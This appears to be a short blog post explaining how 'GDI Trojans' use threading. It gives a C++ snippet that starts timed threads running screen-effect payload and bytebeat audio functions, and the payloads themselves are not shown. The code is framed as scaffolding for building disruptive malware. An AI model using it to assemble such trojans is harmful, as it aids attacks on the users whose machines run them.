segunda-feira, 31 de março de 2025

Threads

Usually, GDI Trojans works with Threading system:


//Shaking
	HANDLE hBB1 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
	HANDLE hPML1 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
	HANDLE hBytebeat1 = CreateThread(NULL, NULL, &Bytebeats::Bytebeat1, hBB1, NULL, NULL);
	HANDLE hPayload1 = CreateThread(NULL, NULL, &GDIPayloads::GDIPayload1, hPML1, NULL, NULL);
	Sleep(1000 * 15); //15 Seconds 

	//Shaders
	HANDLE hPML2 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
	HANDLE hPayload2 = CreateThread(NULL, NULL, &GDIPayloads::GDIPayload2, hPML2, NULL, NULL);
	Sleep(1000 * 10); //10 Seconds 
	System::EndPayload(hPayload2, hPML2);
	System::EndPayload(hBytebeat1, hBB1);

	//Icons
	HANDLE hBB2 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
	HANDLE hPML3 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
	HANDLE hBytebeat2 = CreateThread(NULL, NULL, &Bytebeats::Bytebeat2, hBB2, NULL, NULL);
	HANDLE hPayload3 = CreateThread(NULL, NULL, &GDIPayloads::GDIPayload3, hPML3, NULL, NULL);
	Sleep(1000 * 5); //5 Seconds 

	//PatBlt
	HANDLE hPML4 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
	HANDLE hPayload4 = CreateThread(NULL, NULL, &GDIPayloads::GDIPayload4, hPML4, NULL, NULL);
	Sleep(1000 * 15); //15 Seconds 

	//AlphaBlend
	HANDLE hPML5 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
	HANDLE hPayload5 = CreateThread(NULL, NULL, &GDIPayloads::GDIPayload5, hPML5, NULL, NULL);
	Sleep(1000 * 15); //15 Seconds

Threading is a way to run 2 or more functions at same time, like a visual payload along with a bytebeat function.

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Threads

Usually, GDI Trojans works with Threading system: //Shaking HANDLE hBB1 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, siz...